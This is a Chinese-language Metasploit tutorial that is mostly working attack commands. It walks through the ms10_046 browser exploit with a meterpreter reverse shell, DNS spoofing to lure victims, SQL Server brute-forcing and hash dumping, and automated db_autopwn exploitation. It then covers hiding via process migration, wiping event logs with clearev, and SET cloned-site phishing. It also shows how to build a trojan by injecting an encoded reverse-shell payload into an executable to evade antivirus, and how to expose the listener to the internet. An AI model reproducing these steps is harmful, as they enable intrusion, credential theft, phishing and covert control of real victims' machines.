菜鸟腾飞Metasploit Framework
渗透测试介绍
渗透测试 penetration testing
PTES:Penetration Testing Execution Standard
- 前期交互阶段
- 情报收集阶段
- 威胁建模阶段
- 漏洞分析阶段
- 渗透攻击阶段
- 后渗透攻击阶段
- 报告阶段
渗透测试类型
白盒测试
黑盒测试
灰盒测试
Metasploit Framework基础知识
专业术语介绍
exploit 渗透攻击
payload 攻击载荷
shellcode 攻击后代码
接口及启动方式
msfconsole msf终端
msfcli msf命令行接口
armitage 图形化用户接口
实例讲解
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
渗透攻击/系统/浏览器/快捷方式漏洞
set srvhost ip
set payload windows/meterpreter/reverse_tcp
set lhost ip
#setg lhost ip 将变量值设置为全局参数
show options
exploit
配合dns欺骗,让被动攻击变成主动攻击
/user/local/share/ ettercap
vi etter.dns
*.com A 192.168.1.102
*.net A 192.168.1.102
*.cn A 192.168.1.102
ettercap T -q -I interface -P dns_spoof // // # // 网段 // mac地址段
达到欺骗效果后可以把dns欺骗关闭。
可以在被欺骗客户端用tcpview监视工具看到进程里多了一个rundll32.exe进程
sessions
查看回话
sesions -I 1
meterpreter>
这下面命令以后讲解
输入shell可以进入客户端的shell
metasploit下的辅助扫描工具
port scan:auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/syn
set rhosts ip
show options
exploit
smb scan:auxiliary/scanner/smb/smb_version
通过smb信息判断操作系统版本,语言,计算机名等信息。
ftp scan:auxiliary/scanner/ftp/ftp_login
SQLServer:auxiliary/scanner/mssql/mssql_login
SQLServer:auxiliary/scanner/mssql/mssql_hashdump
在知道了sqlserver的用户名密码以后的就可以获得服务器上其他账户的账户信息提取出来,然后进行破解。
密文可以去cmd5网站进行破解。
参数都是大写,设置时使用大写可以tab自动补全,小写也可以设置成功,但是没有自动不全功能。
PostgreSQL数据库的使用
利用数据库可以保存结果,自动化攻击,与别人一起共享结果。
- 安装postgresql,kali里已经默认安装好。
- 安装pgadmin3,图形管理数据库。
apt-get install pgadmin3
安装完毕后运行pgadmin3,启动图形界面。 - 创建账号sudo -u postgres createuser tengfei
sudo -u postgres psql postres
\password tengfei
设置tengfei用户密码 - metasploit下使用数据库
db_status 查看数据库状态
db_connect 连接数据库
db_disconnect 断开数据库
workspace 工作空间命令
连接到数据库以后使用,开辟空间。
连接到数据库以后才可以使用类似db_nmap的命令。
workspace可以创建多个空间,用于保存不同的扫描结果和场景。
自动化攻击
自动化扫描结果入库:db_nmap -sV -O -v -T 5 IP
hosts
命令查看存入数据库的host
载入自动化模块:load db_autopwn
4.2以后的版本自动攻击模块被分离出来了,现在的版本需要将db_autopwn模块上传到插件目录中,并且载入。
插件:db_autopwn.rb
放到/usr/share/metasploit-framework/plugins
载入自动化模块:load db_autopwn
db_autopwn -h
查看帮助
根据数据库扫描结果匹配漏洞尝试渗透攻击:db_autopwn -e -t -r -p
当发现有一个sessions的时候就可以停止了。
vulns 在数据库中查看所有漏洞信息。
Meterpreter介绍
在使用渗透攻击以后,得到meterpreter会话。
可以通过help来看一下帮助信息
background 把session放到后台,切换回来的命令 session -i 1
migrate迁移会话到指定pid
当得到控制权以后,会有一个进程比如rundll32.exe在任务管理器中能看到,不利于隐藏。
也叫进程注入,在转移前通过ps命令查看进程列表,得到pid号码。
可以把会话注入到ctfmon.exe(输入法进程),migrate 1824。
迁移过去以后通过TCPView工具查看时会看到:2056….
就是也给不存在的进程,而且进程是结束不掉的。
clearev 清除系统事件(擦脚印)
getpid 查看当前会话pid
getuid 获取当前shell的用户权限
kill 结束指定进程
shell 进入windows的cmd shell,可以输入cmd下的命令。
从shell退回到merterpreter会话,使用ctrl+z
sysinfo 获取系统信息
screenshot 截屏并保存
getsystem 提升权至system权限
run脚本,run也是meterpreter里的一个命令,可以运行一些脚本或文件。
可以通过run 空格,两次tab键,可以看到所有可以执行的脚本。
常用的:
run hashdump 获取系统账户hash密码,执行前先要getsystem提权
通过hash值可以通过彩虹表破解密码;
run post/windows/gather/enum_applications 获取系统安装程序
run post/windows/manage/enable_rdp 开启rdp
run vnc 用vnc控制对方桌面,自动上传vnc插件并反弹端口,一般不会被杀毒软件查杀(需要图形界面下msfconsole运行)
run winenum 运行windows常用枚举信息,集成好多命令,收集信息。
run packetrecorder -i l 开启抓包,捕获数据到本地,可以使用Wireshark工具进行分析。
社会工程学SET攻击
set配置文件:/pentest/exploits/set/config/set_config
APACHE_SERVER=ON #apache启动
SELF_SIGNED_APPLET=ON #自签名
AUTO_DETECT=ON #自动攻击
MAIL项建议关闭
SET是一款社会工程学攻击工具包,可以与metasploit紧密结合。
在metasploit下监听端口:
- Java Applet演示
打开SET—1.Social-Engineering Attacks—2.Website Attack Vectors—1.Java Applet Method—2.Site Clone,输入签名信息,输入克隆的目标站点,选择payload,就是在欺骗成功以后运行的payload,选2 Windows Reverse_TCP Meterpreter,选择encodings (考虑免杀功能 ),针对国外的杀毒软件免杀效果比较好,但是国内的效果不好。
会自动打开apache,等待用户链接过来,可以同时配合dns欺骗或其他社工方法比如邮件方式欺骗用户打开网站,会弹出一个java applet窗口,运行的话就会中招。 - 克隆站点钓鱼攻击
打开SET,1社会工程学攻击–2web站点攻击—3钓鱼攻击—2克隆站点(只有部分站点可以被伪造的界面抓取密码下来) - 综合攻击
1–2–7–
可以结合多种攻击方式被动攻击。会针对所有漏洞生成不同的攻击界面,在访问者访问的时候只问一个,set会自动判断用户的浏览器或者漏洞类型,匹配相应的漏洞,加载相应的页面。会自动迁移进程。
Metasploit离线式攻击
创建包含payload模块的二进制文件
msfpayload windows/shell/reverse_tcp LHOST=本地ip LPORT=本地端口443 X > /tmp/xxx.exe
就是一个反弹型木马
在模板文件(未加壳,pe结构中包含.text表)中插入payload(就是在一个文件的基础上插入payload)
这个模板文件有条件,1,文件不能加壳,2,pe结构中得有.text表
可以用peid工具扫描文件信息
msfpayload windows/shell/reverse_tcp LHOST=本地ip LPORT=本地端口443 R | msfencode -t exe -x /tmp/模板文件.exe -o /tmp/目标生成文件.exe -e x86/shikata_ga_nai -c 5
在Metasploit下监听端口:(可以一直开着,监听一个端口,不同的人连接进来都不会出错)
msf>use exploit/multi/hander
msf>set PAYLOAD windows/meterpreter/reverse_tcp
msf>exploit
加壳以后原来文件功能可能会受影响。
将Metasploit接入互联网
- 通过live cd 引导系统,使用pppoe拨号获得公网ip;
- 租用一台装有Ubuntu或其他Linux系统的VPS
- 租用一台拥有多ip的服务器,在服务器上安装VMWare虚拟机。
个人想法,可以在防火墙上做端口映射,也可以获得公网ip。